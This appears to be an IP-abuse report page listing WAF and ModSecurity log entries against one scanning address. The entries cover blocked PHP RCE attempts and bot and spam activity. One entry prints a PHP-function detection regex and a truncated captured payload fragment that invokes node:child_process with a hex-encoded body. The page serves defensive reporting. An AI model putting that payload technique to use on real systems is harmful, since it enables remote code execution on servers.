🇪🇸
pipeline.es
2026-11-15 01:08:18
UTC ·
(12 hours ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
🇪🇸
pipeline.es
2026-11-12 10:08:56
UTC ·
(3 days ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
🇪🇸
pipeline.es
2026-11-11 08:30:13
UTC ·
(4 days ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
🇪🇸
pipeline.es
2026-11-09 03:09:04
UTC ·
(6 days ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
🇪🇸
pipeline.es
2026-11-08 01:20:53
UTC ·
(1 week ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
🇪🇸
pipeline.es
2026-11-05 13:08:09
UTC ·
(1 week ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Sun Nov 01 03:42:12.690968 2026] [:error] [pid 562025] [client 51.15.91.66:59652] [client 51.15.91.66] WAF: Access denied with code 403 (phase 1). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/httpd/WAF.d/zz-php2shell.conf\"] [line \"14\"] [id \"9261001\"] [msg \"php2shell: multipart sin Content-Length\"] [tag \"php2shell\"] [hostname \"747viatges.grupoeuropa.com\"] [uri \"/\"] [unique_i | ASN: Scaleway S.a.s. | Country: NL
show less
Web App Attack
2026-11-04 19:53:17
UTC ·
(1 week ago)
[Wed Nov 04 14:28:39.455396 2026] [:error] [pid 3045574:tid 140068572342016] [client 51.15.91.66:35332] [client 51.15.91.66] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/opt/o ...
show more
[Wed Nov 04 14:28:39.455396 2026] [:error] [pid 3045574:tid 140068572342016] [client 51.15.91.66:35332] [client 51.15.91.66] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/opt/owasp-crs-4.26.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 50)"] [ver "OWASP_CRS/4.26.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "digitalcrete.ims.forth.gr"] [uri "/"] [unique_id "ausk91VlZXrbA2fkrtmL@wAAAIU"]
[Wed Nov 04 14:28:40.086743 2026] [:error] [pid 3045574:tid 140068555556608] [client 51.15.91.66:35344] [client 51.15.91.66] ModSecurity: Access denied with code 400 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/etc/modsecurity/modsecurity.conf"] [line "81"] [id "200003"] [msg "Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM 0, IQ 0, IP 0, IH 0, FL 0"] [hostname "
...
show less
Hacking
Web App Attack
🇺🇸
francelink.fr
2026-11-04 17:32:30
UTC ·
(1 week ago)
Azure WAF blocked a request. Rule: 949110. Observed at: 2026-11-04T17:30:55.000Z.
Web App Attack
🇫🇮
paissangroup
2026-11-04 12:05:44
UTC ·
(1 week ago)
Multiple WAF Violations
Web App Attack
🇩🇪
FeG Deutschland
2026-11-03 21:17:04
UTC ·
(1 week ago)
Looking for CMS/PHP/SQL vulnerablilities/excessive crawling - 2
Exploited Host
Web App Attack
🇩🇪
bescared
2026-11-03 11:20:00
UTC ·
(1 week ago)
WAF (2) - Malicious activity detected: Form spam.
Web Spam
🇩🇪
filstal.org
2026-11-03 02:20:20
UTC ·
(1 week ago)
Bad bot activity detected (automated scraping/probing).
Bad Web Bot
Web App Attack
🇺🇸
francelink.fr
2026-11-03 00:25:29
UTC ·
(1 week ago)
Azure WAF blocked a request. Rule: 949110. Observed at: 2026-11-02T13:41:19.000Z.
Web App Attack
🇮🇪
AutosOnShow
2026-11-02 18:01:04
UTC ·
(1 week ago)
blocked for webapp attack | path requested: / | seen at 2026-11-02 18:00:22.101 |
Web App Attack
🇨🇭
4server
2026-11-02 11:30:48
UTC ·
(1 week ago)
[MonNov0212:30:42.9030842026][security2:error][pid156749:tid156939][client51.15.91.66:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\ ...
show more
[MonNov0212:30:42.9030842026][security2:error][pid156749:tid156939][client51.15.91.66:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6e737
show less
Hacking
Web App Attack
